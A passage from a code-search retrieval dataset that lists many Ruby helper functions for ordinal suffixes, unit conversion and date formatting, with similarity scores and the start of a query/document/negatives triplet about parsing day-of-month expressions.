"def ordinal(num)\n\tnum = num.to_s\n\tnum2 = num.to_i\n\n if num == \"1\" || num2 % 10 == 1 && num[num.length-2] != \"1\"\n return \"st\"\n elsif num == \"2\" || num2 % 10 == 2 && num[num.length-2] != \"1\"\n return \"nd\"\n elsif num == \"3\" || num2 % 10 == 3 && num[num.length-2] != \"1\"\n return \"rd\"\n else\n return \"th\"\n end\nend",
"def unit_formats(type)\n #find statements\n #if sales[0]< 1000 and tot assets[0] < 1000\n #$xxx,xxx.x\n #else\n #$xxx,xxx\n #end\n end",
"def ordinalize\n if (11..13).include?(self % 100)\n \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def formatOunces(value)\n\t\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\t\tend",
"def formatOunces(value)\n\t\twholeNum = value[1, 4] #Pulls the 2nd (A), 3rd (B), 4th (C) and 5th (D) digit from the format 0ABCDdddd where 'd' is the decimal portion of the eVS weight convention\n\t\tdecimal = value[5, 4] #Pulls the decimal portion\n\t\treturn (\"#{wholeNum}.#{decimal}\".to_f * 16.0).round(4).to_s\n\tend",
"def ordinal_indicator(number)\n if number == 0\n return \"zero\"\n elsif number.to_s.chars.map(&:to_i).last == 1 && number != 11\n return \"#{number}st\"\n elsif number.to_s.chars.map(&:to_i).last == 2 && number != 12\n return \"#{number}nd\"\n elsif number.to_s.chars.map(&:to_i).last == 3 && number != 13\n return \"#{number}rd\"\n else\n return \"#{number}th\"\n end\nend",
"def ordinal(number)\n\t if (11..13).include?(number.to_i % 100)\n\t \"#{number}<sup>th</sup>\"\n\t else\n\t case number.to_i % 10\n\t when 1; \"#{number}<sup>st</sup>\"\n\t when 2; \"#{number}<sup>nd</sup>\"\n\t when 3; \"#{number}<sup>rd</sup>\"\n\t else \"#{number}<sup>th</sup>\"\n\t end\n\t end\n\tend",
"def ordinalize(number)\n if (number.to_i==-1)\n\t'last'\n elsif (number.to_i==-2)\n\t'second to last'\n elsif (11..13).include?(number.to_i % 100)\n\t\"#{number}th\"\n else\n\tcase number.to_i % 10\n\t when 1 then \"#{number}st\"\n\t when 2 then \"#{number}nd\"\n\t when 3 then \"#{number}rd\"\n\t else \"#{number}th\"\n\tend\n end\n end",
"def ordinal\n case self % 100\n when 11..13; \"#{self}th\"\n else\n case self % 10\n when 1; \"#{self}st\"\n when 2; \"#{self}nd\"\n when 3; \"#{self}rd\"\n else \"#{self}th\"\n end\n end\n end",
"def ordinalize(number)\n if (11..13).include?(number.to_i.abs % 100)\n \"#{number}th\"\n else\n case number.to_i.abs % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def numericize_ordinals(text) #:nodoc:\n text = text.gsub(/\\b(\\d*)(st|nd|rd|th)\\b/, '\\1')\n end",
"def ordinal\n self.to_s +\n if (11..13).include?(self % 100)\n \"th\"\n else\n case self % 10\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinal(number)\n abs_number = number.to_i.abs\n\n if (11..13).include?(abs_number % 100)\n \"th\"\n else\n case abs_number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def convert_to_fl_oz(amount, unit)\n\t\tcase unit\n\t\t\twhen 'gallon' then amount * 128\n\t\t\twhen 'quart' then amount * 32\n\t\t\twhen 'pint' then amount * 16\n\t\t\twhen 'cup' then amount * 8\n\t\t\twhen 'fl_oz' then amount\n\t\t\twhen 'Tbsp' then amount * 0.5\n\t\t\twhen 'tsp' then amount * 0.1666666666667\n\t\tend\n\tend",
"def ordinal(number)\n \tending =\n case number % 100\n when 11, 12, 13 then 'th'\n else\n case number % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\t\treturn number.to_s + ending\n end",
"def convert(units)\n\t\tif units < 10\n\t\t\t\"0#{units}\" \n\t\telse\n\t\t\t\"#{units}\"\n\t\tend\n\tend",
"def ordinalize(number)\n if (11..13).include?(number.to_i.abs % 100)\n \"#{number}th\"\n else\n case number.to_i.abs % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def ordinalize(number)\n if (11..13).include?(number.to_i.abs % 100)\n \"#{number}th\"\n else\n case number.to_i.abs % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def pretty_unit\n return if unitless?\n\n numerator = Inspection.prettify_unit_part(numerators)\n denominator = Inspection.prettify_unit_part(denominators)\n\n numerator = '1' if numerator.empty?\n return \" #{numerator}\" if denominator.empty?\n\n UNIT_FORMAT % [numerator, denominator]\n end",
"def number_to_ordinal(num)\n if params[:locale] == \"en\"\n num = num.to_i\n if (10...20)===num\n \"#{num}th\"\n else\n g = %w{ th st nd rd th th th th th th }\n a = num.to_s\n c=a[-1..-1].to_i\n a + g[c]\n end\n else\n num = num.to_i\n raw \"#{num}ª\"\n end\n end",
"def parse_time_unit(time_unit)\n case time_unit\n when /[0-9]+[smhdy]/\n time = time_unit[/[0-9]+/].to_i\n unit = time_unit[/[smhdy]/]\n time * UNIT_MULTIPLIER.fetch(unit)\n when /[0-9]+/\n Integer(time_unit)\n else\n raise\n end\n rescue IndexError => e\n raise InvalidParameter, \"Invalid time specification specified: '#{time_unit}'\"\n end",
"def ordinalize(number)\n if (11..13).include?(number.to_i % 100)\n \"#{number}th\"\n else\n case number.to_i % 10\n when 1; \"#{number}st\"\n when 2; \"#{number}nd\"\n when 3; \"#{number}rd\"\n else \"#{number}th\"\n end\n end\n end",
"def unit_t\n I18n.t \"#{self.unit_s}\", :count => 1\n end",
"def english_ordinal n\n str = n.to_s\n str +\n case str\n when /11$/, /12$/, /13$/\n 'th'\n when /1$/\n 'st'\n when /2$/\n 'nd'\n when /3$/\n 'rd'\n else\n 'th'\n end\nend",
"def ordinal_suffix(number)\n last_two_digits = number.abs % 100\n\n if (11..13).include?(last_two_digits)\n \"th\"\n else\n last_digit = number.abs % 10\n case last_digit\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\nend",
"def human_readable(number, type)\n\t# Do some math then return the number in a commified form:\n\treturn (number/type).to_s.gsub(/(\\d)(?=\\d{3}+(?:\\.|$))(\\d{3}\\..*)?/,'\\1,\\2')\nend",
"def parse_alpha_unit!\n matchdata = unit.match(ALPHA_UNIT_FORMAT)\n raise InvalidFormat if matchdata.nil?\n\n @alpha_unit = matchdata[1]\n @numeric_unit = matchdata[2].to_i\n end",
"def ordinalize(number)\n Geode::FastInflector.ordinalize(number.to_i)\n end",
"def ordinal( number )\n\t\tcase number\n\t\twhen Integer\n\t\t\treturn number.to_s + (Nth[ number % 100 ] || Nth[ number % 10 ])\n\n\t\telse\n\t\t\treturn number.to_s.sub( /(#{OrdinalSuffixes})\\Z/ ) { Ordinals[$1] }\n\t\tend\n\tend",
"def ordinal(n)\n ending = case n % 100\n when 11, 12, 13 then 'th'\n else\n case n % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\n \"#{n}#{ending}\"\nend",
"def unit_helper(number, from_unit_string, to_unit_string)\n OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def from_french(num)\nend",
"def unit_digit_string(digit)\n case digit\n when 0 then 'zero'\n when 1 then 'one'\n when 2 then 'two'\n when 3 then 'three'\n when 4 then 'four'\n when 5 then 'five'\n when 6 then 'six'\n when 7 then 'seven'\n when 8 then 'eight'\n when 9 then 'nine'\n end\nend",
"def ordinal; end",
"def format_duration\n if ui_duration.present? && ui_duration&.respond_to?(:include?)\n if ui_duration == 'N/A'\n self.duration = nil\n self.ui_duration = ''\n elsif ui_duration.tr('0-9', '').length > 0 # expect there is some delimiter\n delimiter = ui_duration.tr('0-9', '').first # the typo for colon has to be consistent, 01;18/05 will fail\n ui_duration.gsub!(delimiter, ':') # whatever the non-digit was, make it a colon\n self.duration = unformatted_time(ui_duration) # expect hh:mm or hh:mm:ss format\n else\n self.duration = ui_duration.to_i # expect raw minutes format\n end\n end\n end",
"def duration_converter(ableton_value)\n\t\tif ableton_value.to_f < 4\n\t\t\t((1/ableton_value.to_f) * 4).to_i.to_s + 'n'\n\t\telse\n\t\t\t(ableton_value.to_f/4).to_i.to_s + 'm'\n\t\tend\n\tend",
"def ordinal_abbreviation; end",
"def ordinal(num)\ncase num\n when 1\n \"1st\"\n when 2\n '2nd'\n when 3\n '3rd'\n when 4\n '4th'\n when 5\n '5th'\n when 6\n 'last'\n end\nend",
"def unit=(value)\n if value.respond_to?(:to_i)\n @unit = value.to_i\n else\n raise TypeError, \"Can't set a Duration's unit to a #{value.class.name} object.\"\n end\n end",
"def unit=(value)\n if value.respond_to?(:to_i)\n @unit = value.to_i\n else\n raise TypeError, \"Can't set a Duration's unit to a #{value.class.name} object.\"\n end\n end",
"def strftime_ordinalized(fmt, format=nil)\n strftime(fmt.gsub(/(^|[^-])%d/, '\\1_%d_')).gsub(/_(\\d+)_/) { |s| s.to_i.ordinalize }\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def convert_temp(value,unit)\n if unit.chomp == \"f\"\n puts \"fahrenheit: #{value}\"\n puts \"to Celcius: #{((value.to_i - 32) / 1.8).round(2)}\"\n puts \"to Kelvin: #{((value.to_i + 459.67) / 1.8).round(2)}\"\n elsif unit.chomp == \"C\"\n puts \"Celcius: #{value}\"\n puts \"to fahrenheit: #{(value.to_i * 1.8 + 32).round(2)}\"\n puts \"to Kelvin: #{(value.to_i + 273.15).round(2)}\"\n else\n puts \"Kelvin: #{value}\"\n puts \"to fahrenheit: #{(value.to_i * 1.8 - 459.67).round(2)}\"\n puts \"to Celcius: #{(value.to_i - 273.15).round(2)}\"\n end\nend",
"def UNIT(*values)\n first, second = values\n Unit.convert_to(first, second)\n end",
"def correct_rut_format\n\t self.rut.gsub!(/[-]|[.]/, \"\") unless self.rut.blank?\n end",
"def unit_s\n self.unit.to_s if self.unit\n end",
"def ordinal(number)\n if (11..13).include?(number.to_i % 100)\n \"#{number}<span>th</span>\"\n else\n case number.to_i % 10\n when 1; \"#{number}<span>st</span>\"\n when 2; \"#{number}<span>nd</span>\"\n when 3; \"#{number}<span>rd</span>\"\n else \"#{number}<span>th</span>\"\n end\n end\n end",
"def dealer(inputFormat)\n if !inputFormat.include? \"hh\" and !inputFormat.include? \"HH\"\n if !inputFormat.include? \"YYYY\" and !inputFormat.include? \"YY\"\n return -1\n end\n return 1\n end\nend",
"def formatConvertor(inputFormat)\n\n inputFormat.sub! 'DD', '%d'\n inputFormat.sub! 'YYYY', '%Y'\n inputFormat.sub! 'YY', '%Y'\n inputFormat.sub! 'MM', '%m'\n inputFormat.sub! 'hh', '%H'\n inputFormat.sub! 'mm', '%M'\n inputFormat.sub! 'ss', '%S'\n inputFormat.sub! 'HH', '%I' # HH - for hour of the clock (12 hour)\n inputFormat.sub! 'A/P', '%p'\n inputFormat.sub! 'MON', '%b' # Jan/Feb etc\n #inputFormat.sub! 'TZ', '%z' # TimeZone\n\n\nend",
"def to_units( units, thousands=0 )\n\t\treturn Units[ units ] + to_thousands( thousands )\n\tend",
"def num_into_string(number)\n puts number.ordinalize\nend",
"def append_ordinal_suffix(num)\n case num % 10\n when 1 \n \"st\"\n when 2\n \"nd\"\n when 3\n \"rd\"\n else\n \"th\"\n end\nend",
"def unit=(value)\n @unit = value\n end",
"def to_human(len = 3)\n\n\t\tunit = ''\n\t\tn = self\n\t\tn = self.to_f unless n.is_a? Numeric\n\n\t\tif n > 1100\n\t\t\tn /= 1000.0\n\t\t\tunit = 'k'\n\t\tend\n\n\t\tif n > 1100\n\t\t\tn /= 1000.0\n\t\t\tunit = 'm'\n\t\tend\n\n\t\tif n > 1100\n\t\t\tn /= 1000.0\n\t\t\tunit = 'T'\n\t\tend\n\n\t\t# now we have the unit and the number we want to format it in a \n\t\t# nice way so there is a consistant number of characters\n\t\ts = n.to_s\n\t\tif s.length > len\n\t\t\ts = s[0..len]\n\t\t\ts.chop! if s[-1] == '.'\n\t\tend\n\n\t\t\"#{s}#{unit}\"\n\tend",
"def correct_format_for_values\n self.value.to_i\n end",
"def unit_converter(value, input_unit, output_unit)\n\t\treturn 0 if value == 0\n\t\treturn value if input_unit.downcase == output_unit.downcase\n\n\t\tif input_unit.downcase == 'gb'\n\t\t\tif output_unit.downcase == 'mb'\n\t\t\t\treturn value * 1024\n\t\t\tend\n\t\telse\n\t\t\tif input_unit.downcase == 'mb'\n\t\t\t\tif output_unit.downcase == 'gb'\n\t\t\t\t\treturn value / 1024\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif input_unit.downcase == 'tb'\n\t\t\t\t\tif output_unit.downcase == 'gb'\n\t\t\t\t\t\treturn value * 1024\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinals(numbers)\n numbers.map do |x|\n if x % 10 == 1\n \"#{x}st\"\n elsif x % 10 == 2\n \"#{x}nd\"\n elsif x % 10 == 3\n \"#{x}rd\"\n else\n \"#{x}th\"\n end\n end\nend",
"def convert_to_euros_1(dollars)\n dollars * 0.95 if dollars.is_a?(Numeric)\nend",
"def to_en(number)\n return number.to_s unless number.is_a?(Integer)\n case number\n when 1\n \"one\"\n when 2\n \"two\"\n when 3\n \"three\"\n when 4\n \"four\"\n when 5\n \"five\"\n when 6\n \"six\"\n when 7\n \"seven\"\n when 8\n \"eight\"\n when 9\n \"nine\"\n when 10\n \"ten\"\n when 11\n \"eleven\"\n when 12\n \"twelve\"\n when 13\n \"thirteen\"\n when 14\n \"fourteen\"\n when 15\n \"fifteen\"\n when 16\n \"sixteen\"\n when 17\n \"seventeen\"\n when 18\n \"eighteen\"\n when 19\n \"nineteen\"\n when 20\n \"twenty\"\n when 30\n \"thirty\"\n when 40\n \"forty\"\n when 50\n \"fifty\"\n when 60\n \"sixty\"\n when 70\n \"seventy\"\n when 80\n \"eighty\"\n when 90\n \"ninety\"\n when 21 .. 99\n x_one = number % 10\n x_ten = number - x_one\n to_en(x_ten) + \"-\" + to_en(x_one)\n when 100 .. 999\n front_num = number / 100\n rear_num = number % 100\n if rear_num == 0\n to_en(front_num) + \" hundred\"\n else\n to_en(front_num) + \" hundred and \" + to_en(rear_num)\n end\n when 1e3 .. 999999\n front_num = number / 1000\n rear_num = number % 1000\n if rear_num == 0\n to_en(front_num) + \" thousand\"\n else\n to_en(front_num) + \" thousand and \" + to_en(rear_num)\n end\n else\n number.to_s\n end\n end",
"def century_name_ending(number)\n if number[-2] == '1' # 10-19 are last two digits\n 'th'\n else\n case number[-1]\n when '0', '4', '5', '6', '7', '8', '9' then 'th'\n when '1' then 'st'\n when '2' then 'nd'\n when '3' then 'rd'\n end\n end\nend",
"def test_autonomy\n assert m = Autonomy.load(200000)\n assert_same Unit[:L, :U, :M], m.unit\n assert_in_delta 108, m, 0.1\n m = m.localize(Locale::US)\n assert_same Unit[:L, :U, :M], m.unit\n end",
"def name_to_val(name)\n name.sub(/sotu-(\\d\\d\\d\\d).*/,'\\1').to_i\nend",
"def get_u_year(dates)\n dates.each do |f_date|\n # Single digit u notation\n matches = f_date.scan(/\\d{3}u/)\n return matches.first.tr('u', '0') if matches.length == 1\n\n # Double digit u notation\n matches = f_date.scan(/\\d{2}u{2}/)\n return matches.first.tr('u', '-') if matches.length == 1\n end\n nil\n end",
"def as_val(s)\n if s < 1_000\n s\n elsif s >= 1_000_000_000_000\n (s / 1_000_000_000_000.0).round(1).to_s + 'T'\n elsif s >= 1_000_000_000\n (s / 1_000_000_000.0).round(1).to_s + 'B'\n elsif s >= 1_000_000\n (s / 1_000_000.0).round(1).to_s + 'M'\n elsif s >= 1_000\n (s / 1_000.0).round(1).to_s + 'K'\n end\nend",
"def as_euro; end",
"def test_can_convert_numbers\n\t\tassert_equal(11, arabic_converter(\"XI\"))\n\t\tassert_equal(14, arabic_converter(\"XIV\"))\n\t\tassert_equal(19, arabic_converter(\"XIX\"))\n\t\tassert_equal(16, arabic_converter(\"XVI\"))\n\t\tassert_equal(18, arabic_converter(\"XVIII\"))\n\tend",
"def find_unit ς\n puts \"searching for unit #{ς}\" if SY::DEBUG\n known_units.find do |u|\n u.name.to_s.downcase == ς.downcase &&\n ( ς == ς.downcase || ς == ς.upcase ) ||\n u.short.to_s == ς\n end\n end",
"def ordinal(number)\n Geode::FastInflector.ordinal(number.to_i)\n end",
"def units _args\n \"units _args;\" \n end",
"def beyond100_en(number)\n return \"#{number}th\" if tens_digit_is_a_one(number)\n\n case number % 10\n when 0, 4, 5, 6, 7, 8, 9\n \"#{number}th\"\n when 1\n \"#{number}st\"\n when 2\n \"#{number}nd\"\n when 3\n \"#{number}rd\"\n end\n end",
"def convert_to_internal_value value\n value = fix_ambigious_value value, true\n\n if day_unit?\n (BigDecimal(value.to_time.to_i) / SECONDS_PER_DAY)\n elsif values_unit == Integer\n value.to_i\n else\n raise \"Unexpected unit: #{values_unit()}\"\n end\n end",
"def _process_format(format); end",
"def _process_format(format); end",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def arabic_to_eng\n\t\tvalidate_input\n\n\t\tcase @num\n\t\twhen \"NAN\"\n\t\t\tputs \"not valid, expected input: positive interger\"\n\t\t\treturn false\n\n\t\twhen 0\n\t\t\tputs \"zero\"\n\t\t\treturn \"zero\"\n\n\t\twhen 1..999\n\t\t\tconvert_smaller_than_thousand(@num)\n\n\t\telse\n\t\t\tconvert_larger_than_thousand(@num)\n\n\t\tend\n\t\tfinal_result\n\n\tend",
"def test_16\n MiniUniverse.each do |e|\n assert_equal(\"~d\".format(e), \"~A\".format(e)) unless e.respond_to? :to_int\n end\n end",
"def test_06\n -999.upto(999){ |i| assert_equal(\"~d\".format(i), \"~:d\".format(i)) }\n end",
"def value_converters\n [YEAR_NORMALIZER, :float]\n end",
"def ordinalize(date)\n\t date = datetime(date)\n\t \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n\tend",
"def date_formats_by_unit\n #mysql format is always at first position, only one value if mysql and strftime are equivalent\n return ['%Y-%m-%d %H%i%s', '%Y-%m-%d %H%M%S'] if measured_in?(\"seconds\")\n return ['%Y-%m-%d %H%i', '%Y-%m-%d %H%M'] if measured_in?(\"minutes\")\n return ['%Y-%m-%d %H'] if measured_in?(\"hours\")\n return ['%Y-%m-%d']\n end",
"def dec_rom_num_map\n {\n 3000 => \"MMM\",\n 2000 => \"MM\",\n 1000 => \"M\",\n 900 => \"DCCCC\",\n 800 => \"DCCC\",\n 700 => \"DCC\",\n 600 => \"DC\",\n 500 => \"D\",\n 400 => \"CCCC\",\n 300 => \"CCC\",\n 200 => \"CC\",\n 100 => \"C\",\n 90 => \"LXXXX\",\n 80 => \"LXXX\",\n 70 => \"LXX\",\n 60 => \"LX\",\n 50 => \"L\",\n 40 => \"XXXX\",\n 30 => \"XXX\",\n 20 => \"XX\",\n 10 => \"X\",\n 9 => \"VIIII\",\n 8 => \"VIII\",\n 7 => \"VII\",\n 6 => \"VI\",\n 5 => \"V\",\n 4 => \"IIII\",\n 3 => \"III\",\n 2 => \"II\",\n 1 => \"I\"\n }\nend",
"def value\n if eng_unit_type\n \"#{data} #{eng_unit_type.tag}\"\n else\n data.to_s\n end\n end",
"def format; :n3; end",
"def out_of_bounds_time_format; end",
"def append_ordinal_suffix(num)\n right_most_digit = num % 10\n case right_most_digit\n when 1 \n puts \"#{num}st\"\n when 2\n puts \"#{num}nd\"\n when 3\n puts \"#{num}rd\"\n else\n puts \"#{num}th\"\n end\nend",
"def old_roman_numeral number\n digits = []\n i = 4\n while i>0\n digits.push (number%10)\n number = (number/10).to_i\n i -= 1\n end\n thousandth = 'M'*digits[3]\n hundredth = 'D'*(digits[2]/5).to_i+'C'*(digits[2]%5)\n tenth = 'L'*(digits[1]/5).to_i+'X'*(digits[1]%5)\n unit = 'V'*(digits[0]/5).to_i+'I'*(digits[0]%5)\n puts thousandth+hundredth+tenth+unit\nend",
"def unit=(a_unit)\n self[:unit] = a_unit.to_s\n end",
"def unicode \n case @phase \n when 0.0625..0.1875 then \"\\uD83C\\uDF12\"\n when 0.1875..0.3125 then \"\\uD83C\\uDF13\"\n when 0.3125..0.4375 then \"\\uD83C\\uDF14\"\n when 0.4375..0.5625 then \"\\uD83C\\uDF15\"\n when 0.5625..0.6875 then \"\\uD83C\\uDF16\"\n when 0.6875..0.8125 then \"\\uD83C\\uDF17\"\n when 0.8125..0.9375 then \"\\uD83C\\uDF18\"\n else \"\\uD83C\\uDF11\" \n end\n end",
"def value_with_units(value, units, usage_factor)\n raise \"Error: value must convert to an integer.\" unless value.to_i\n raise \"Error: units must be k, m, g\" unless units =~ /[KMG]/i\n factor = usage_factor.to_f\n raise \"Error: usage_factor is 1.0 Value used: #{usage_factor}\" if factor > 1.0 || factor <= 0.0\n (value * factor).to_i.to_s + units\nend",
"def convert_to_emu(dim_str)\n value, unit = dim_str.match(/(^\\.?\\d+\\.?\\d*)(\\w+)/).to_a[1..-1]\n value = value.to_f\n\n if unit == \"cm\"\n value = value * 360000\n elsif unit == \"in\"\n value = value * 914400\n else\n throw ArgumentError, \"Unsupported unit '#{unit}', only 'cm' and 'in' are permitted.\"\n end\n\n value.round()\n end",
"def year_name(number); end",
"def convert_hundred(val)\n\t\tif val < 19\n\t\t\t@@english_numeral += \"#{BASIC_MAP[val]}\" + ' ' \n\n\t\telse\n\t\t\tnum1 = val%10\n\t\t\tnum2 = val-num1\n\n\t\t\t@@english_numeral += \"#{BASIC_MAP[num2]}\" + ' ' + \"#{BASIC_MAP[num1]}\" + ' '\n\t\tend\n\tend"
] |
[
"0.68760693",
"0.6566012",
"0.64165664",
"0.63850677",
"0.62318206",
"0.6229607",
"0.61723965",
"0.6167533",
"0.61117",
"0.6091142",
"0.608896",
"0.6072607",
"0.60217917",
"0.6021327",
"0.60170305",
"0.5985593",
"0.5968899",
"0.5966985",
"0.5942487",
"0.5891441",
"0.58528376",
"0.5844287",
"0.5835712",
"0.58245385",
"0.58245385",
"0.5802891",
"0.5801559",
"0.5800122",
"0.5795855",
"0.57931554",
"0.57922304",
"0.57316005",
"0.56971717",
"0.567536",
"0.5654032",
"0.5648264",
"0.5624692",
"0.56238085",
"0.56060326",
"0.55987346",
"0.5581087",
"0.5563153",
"0.5534637",
"0.5526078",
"0.55228657",
"0.5520419",
"0.5520419",
"0.5513768",
"0.5496764",
"0.5496764",
"0.54929024",
"0.5491888",
"0.54793066",
"0.54780865",
"0.5468159",
"0.54626137",
"0.54575145",
"0.5455738",
"0.5425314",
"0.5424006",
"0.54218346",
"0.54199827",
"0.5363016",
"0.53487706",
"0.53473455",
"0.53411925",
"0.53390527",
"0.53382355",
"0.5337187",
"0.5332752",
"0.53311414",
"0.53231186",
"0.5313338",
"0.5312577",
"0.5305903",
"0.529749",
"0.528848",
"0.52831286",
"0.52787733",
"0.5272367",
"0.5266462",
"0.5266462",
"0.5258777",
"0.5258729",
"0.5249589",
"0.5219597",
"0.51992923",
"0.5191495",
"0.51858413",
"0.51850414",
"0.51835567",
"0.5176384",
"0.5172342",
"0.51651484",
"0.5161692",
"0.5160191",
"0.51586115",
"0.51560265",
"0.5143709",
"0.5137911",
"0.51361287"
] |
0.0
|
-1
|
Handle ordinalday/grabber/unitmonth formats: dd(st|nd|rd|th) of last/this/next month
|
def handle_od_gr
handle_od
next_tag
handle_gr
# ignore unit
@year, @month = Date::add_month(@local_date.year, @local_date.month, @modifier)
next_tag
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def day_of_month\n ordinal = case @time.day\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n \"#{@time.day}#{ordinal}\"\n end",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinal_suffix(date)\n number = date.strftime('%e').to_i\n if (11..13).include?(number % 100)\n \"th\"\n else\n case number % 10\n when 1; \"st\"\n when 2; \"nd\"\n when 3; \"rd\"\n else \"th\"\n end\n end\n end",
"def ordinalize(date)\n date = datetime(date)\n d = \"<span class='date-month'>#{date.strftime('%b')}</span> \"\n d = \"<span class='date-day'>#{date.strftime('%e')}</span> \"\n d += \"<span class='date-suffix'>#{ordinal_suffix(date)}</span>, \"\n d += \"<span class='date-year'>#{date.strftime('%Y')}</span>\"\n end",
"def month() end",
"def ordinalDate\n ordinal = DAYS_THUS_FAR[@month].to_i + @day.to_i\n if leapYear? && @month > 2\n ordinal = ordinal + 1\n end\n return ordinal\n end",
"def day_of_month_format(string)\n \tif string =~ /(\\d+)(st|nd|rd|th)?\\sof the month at (.*)/\n \t\tday = $1\n \t\ttimes = parse_times($3)\n \tend\n end",
"def inspect\n \"the day of the month is the \" + ordinal_list(@parts)\n end",
"def rsmonth(month)\n case month\n when 1\n return 'januar'\n when 2\n return 'februar'\n when 3\n return 'mart'\n when 4\n return 'april'\n when 5\n return 'maj'\n when 6\n return 'jun'\n when 7\n return 'jul'\n when 8\n return 'avgust'\n when 9\n return 'septembar'\n when 10\n return 'oktobar'\n when 11\n return 'novembar'\n when 12\n return 'decembar'\n end\nend",
"def month; end",
"def month; end",
"def ordinalize(date)\n\t date = datetime(date)\n\t \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n\tend",
"def ordinal\n self.to_s +\n if (11..13).include?(self % 100)\n \"th\"\n else\n case self % 10\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n end\n end",
"def date_parse raw_day, raw_month\n str_month = raw_month.scan(@regex_monthes)[0]\n month = @monthes[str_month]\n return if not month\n day = raw_day.to_i\n return if day==0\n today = Date.today\n if day < today.day and month == 12\n year = today.year + 1\n else\n year = today.year\n end\n #puts year, year.class, month, month.class, day, day.class\n return \"#{year}-#{\"%02d\"%month}-#{\"%02d\"%day}\"\nend",
"def ordinal(n)\n ending = case n % 100\n when 11, 12, 13 then 'th'\n else\n case n % 10\n when 1 then 'st'\n when 2 then 'nd'\n when 3 then 'rd'\n else 'th'\n end\n end\n\n \"#{n}#{ending}\"\nend",
"def ordinalize(date)\n date = datetime(date)\n \"#{date.strftime('%b')} #{ordinal(date.strftime('%e').to_i)}, #{date.strftime('%Y')}\"\n end",
"def statement_day_ordinal\n return '' if statement_day.nil?\n statement_day.ordinalize\n end",
"def ordinalize(date)\n \"#{date.strftime('%b %-d')}#{ordinal_suffix(date)}, #{date.strftime('%Y')}\"\n end",
"def unusual_day_4(num)\n if one_30_last(num)\n calendar_date(num, 1)\n elsif one_30_not_last(num) || two_30_one_31_last(num)\n calendar_date(num, 2)\n elsif two_30_one_31_not_last(num) || two_30_two_31\n calendar_date(num, 3)\n end\nend",
"def month_name(number); end",
"def normalize_month(month)\n month % 12 + 1\n end",
"def mday() end",
"def number_to_short_month_name(short)\n if short == 1\n return \"Jan\"\n elsif short == 4\n return \"Apr\"\n else short == 10\n return \"Oct\"\n end\nend",
"def unusual_day_2(num)\n if page.has_no_text?('29', count: 2)\n february(num)\n else\n not_february(num)\n end\nend",
"def number_to_full_month_name(number)\n case\n when number == 1\n return \"January\"\n when number == 3\n return \"March\"\n when number == 9\n return \"September\"\n else\n return \"Not a month\"\n end\nend",
"def ordinalize(number)\n if (number.to_i==-1)\n\t'last'\n elsif (number.to_i==-2)\n\t'second to last'\n elsif (11..13).include?(number.to_i % 100)\n\t\"#{number}th\"\n else\n\tcase number.to_i % 10\n\t when 1 then \"#{number}st\"\n\t when 2 then \"#{number}nd\"\n\t when 3 then \"#{number}rd\"\n\t else \"#{number}th\"\n\tend\n end\n end",
"def month\n end",
"def ordinal(num)\ncase num\n when 1\n \"1st\"\n when 2\n '2nd'\n when 3\n '3rd'\n when 4\n '4th'\n when 5\n '5th'\n when 6\n 'last'\n end\nend",
"def number_to_full_name__month(number)\n case number\n when 1\n return \"January\"\n when 3\n return \"March\"\n when 4\n return \"April\"\n when 9\n return \"September\"\n when 10\n return \"October\"\n end\nend",
